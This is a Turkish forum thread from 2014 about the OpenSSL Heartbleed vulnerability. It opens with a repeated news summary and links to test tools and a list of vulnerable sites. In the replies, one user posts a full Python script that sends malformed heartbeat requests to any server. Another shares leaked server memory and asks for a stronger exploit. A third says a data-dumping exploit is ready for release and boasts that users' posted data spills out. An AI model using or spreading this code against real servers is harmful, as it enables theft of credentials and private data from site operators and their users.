Web sitesi Güvenliği, DOS - DDOS Saldırıları...
Openssl Güvenlik Açığı - Heartbleed Bug
Openssl Güvenlik Açığı - Heartbleed Bug
-
Sitede bahsedilmemesine şaşırdım. Direk konuya giriyorum eğer kendi sunucunuzda vpn kurmuş ve dün update yapmaya çalıştıysanız ssl güvenlik yaması geldiğini görmüşsünüzdür. Bugün nette baktığımda openssl deki büyük bir güvenlik açığı olan heartbleed bug ın public edildiğini gördüm.
Geri kalan açıklamayı webrazzi den ekliyorum
İnternet trafiğinin önemli bir kısmının güvenliğini sağlayan kriptografik yazılım kütüphanesi OpenSSL’de çok ciddi bir güvenlik açığı tespit edildi. Heartbleed Bug adı verilen bu açık güvenlik şirketi Codenomicun tarafından dün kamuoyuyla paylaşıldı ve büyük endişe kaynağı olmaya devam ediyor.
OpenSSL’in ne olduğunu bilmiyor olabilirsiniz ancak çok büyük ihtimalle onu kullanan çoğunluktan birisiniz. Kullandığınız uygulamalar ve ziyaret ettiğiniz internet sitelerinde, verileri gönderim ve alımı sırasında şifreleniyorsa OpenSSL kullanılıyor olma ihtimalleri oldukça yüksek. Örneğin, internetin yaklaşık yüzde 66′sını çalıştıran Apache web sunucusu OpenSSL kullanıyor… Sorun gerçekten ciddi.
Yapılan açıklamaya göre, OpenSSL’deki açık, normal koşullarda SSL/TLS şifreleriyle korunan bilgilerin çalınmasına izin veriyor. SSL/TLS web, e-posta, anlık mesajlaşma ve bazı VPN’lerin iletişiminin güvenlik ve gizliliğini sağlıyor.
Hearthbleed bug’ı OpenSSL yazılımının kırılgan versiyonları tarafında korunun sistemlerin internetteki herhangi biri tarafından okunmasına da izin veriyor. Bu servis sağlayıcıları tanımlamaya ve trafiği şifrelemeye yarayan gizli şifreleri ve kullanıcıların isim ve şifrelerini de güvensiz hale getiriyor. Açık, saldırganların iletişime kulak misafiri olması, doğrudan kullanıcı ve servis bilgilerinin çalınmasına neden olabilir. Bunun anlamı, kullanıcı adları, şifreler, kredi kartı bilgileri vs. gibi hassas bilgilerin tehlike altında olduğu.
Duyuruda, bir suçlu gözüyle kendi kendilerine tamamen dışardan, iz bırakmadan saldırdıkları da söyleniyor. Hiçbir özel bilginin kullanılmadığı bu deneyde, kendi kullanıcı adları, şifreleri, anlık mesajları, e-postalar, kritik iş dökümanları ve iletişimi, gizli şifreleri ve X-509 sertifikalarını çalabilmişler.
OpenSSL’deki güvenlik açığının 2 yıldan uzun süredir kullanılan 1.0.1 ve 1.0.1f versiyonlarında olduğu belirtiliyor. Daha da kötüsü, bu açıkları kötüye kullanılması sonucunda sunucu log’larında hiçbir iz de kalmıyor. Yani sistem yöneticilerinin sunucularına saldırılıp saldırılmadığını anlamaları gerçekten zor.
Açığı, Google’ın güvenlik takımından Neel Mehta bulup OpenSSL’e bildirmiş. OpenSSL bunun ardından güvenlik tavsiyesi ile birlikte bir de acil durum yaması (patch)
Eğer sunucunuzda vpn falan kurduysanız vakit kaybetmeden ssl güncellemesini yapmanızı öneriyorum.
Açığın public edildiği adres: http://heartbleed.com/Sunucunuzun bu güvenlik açığına sahip olup olmadığını test etmek için: http://filippo.io/Heartbleed/
Heartbleed güvenlik açığına karşı savunmasız ve problem olmayan sitelerin linkleri: https://github.com/musalbas/heartbleed-masstest/blob/master/top10000.txt
Eğer buradaki vulnerable siteleri kullanıyorsanız belli bir süre üye girişi yapmayın derim. Openssl anında https://www.openssl.org/news/secadv_20140407.txt
bu adreste belirtildiği gibi patch yayınladı, ayrıca cloudflare de açık public edilmeden gereken patchi yaptı ama bunun dışındaki servislerde hala sıkıntı olabilir.
-
-
Bu işlerden anlamayan adam bile bu yazıyı okuyup anlayabilir . Fazlaca dolaşıyor sosyal medyada teşekkürler canım :)
-
Çoook ilginçmiş nedense duymamıştım şu ana kadar.
Ortalıkta sample kod varmı? ben iyice anladım ne olduğunu, yazarım eğer yoksa
-
çok sakat, özellikle de kurumlar için felaket bir durum.
edit: redtube hemen açığı kapatmış xda-developers vulnerable, bu nasıl iş lan :D
Jilet_Boris tarafından 09/Nis/14 22:03 tarihinde düzenlenmiştir -
HolyOne bunu yazdı
Çoook ilginçmiş nedense duymamıştım şu ana kadar.
Ortalıkta sample kod varmı? ben iyice anladım ne olduğunu, yazarım eğer yoksa
Hocam python kodu var test için. Açık olan sitelerde çalıştırırsan bilgileri laps diye önüne koyuyor.
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified for simplified checking by Yonathan Klijnsma import sys import struct import socket import time import select import re from optparse import OptionParser target = None options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: return None, None, None return typ, ver, pay def hit_hb(s): global target s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print target + '|NOT VULNERABLE' return False if typ == 24: if len(pay) > 3: print target + '|VULNERABLE' else: print target + '|NOT VULNERABLE' return True if typ == 21: print target + '|NOT VULNERABLE' return False def main(): global target opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() s.connect((args[0], opts.port)) target = args[0] sys.stdout.flush() s.send(hello) sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
-
Teknik bilgi arayanlar için açığın mimarisi hakkında bazı incelemeler:
http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html
http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html
Ayrıca açık amerikanın ulusal güvenlik açığı veritabanına de kaydedilmiş
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0160
-
Bu şeyin çalıştığı birkaç örnek site verirseniz daha iyisini yazim =)
-
HolyOne bunu yazdı
Bu şeyin çalıştığı birkaç örnek site verirseniz daha iyisini yazim =)
hearthbleed checker tool yapmışlardı hocam sanırım github da vardı diye hatırlıyorum.
edit üstteki kodda checkermış bakmadan yazdım :D
detCode tarafından 09/Nis/14 22:32 tarihinde düzenlenmiştir -
bu kodlar açık var mı yok mu tespit ediyor peki kendi komutumuzu vs iletebileceğimiz bir exploit mevcut mu ? bana şu şekilde cevap verdi bunu nasıl anlaşılır hale getirebilirim ?
.ok.9nr...a.d..
...WD..._a...#e
p5m..u..ou.Bf..
V.....z..Lb....
.pp...n..V.....
.y^.9.....!...;
....v-5~.....Y.
f2.0...%U.P....
.M b.Z.IA.=....
..vvUZ<../....f
.37...2.3.(..`.
.*/.......R..3.
?.'i.E3..%.....
a<A.@.!#..{....
..=>...)..69.X.
0..'...b.....Y.
-
Ewt beyler ilk exploitimiz hazır şimdi çok uykm geldi yarın piyasaya süreyim =)
Pek de güzel çıktı veriyor millet ne post etmişse dökülüyor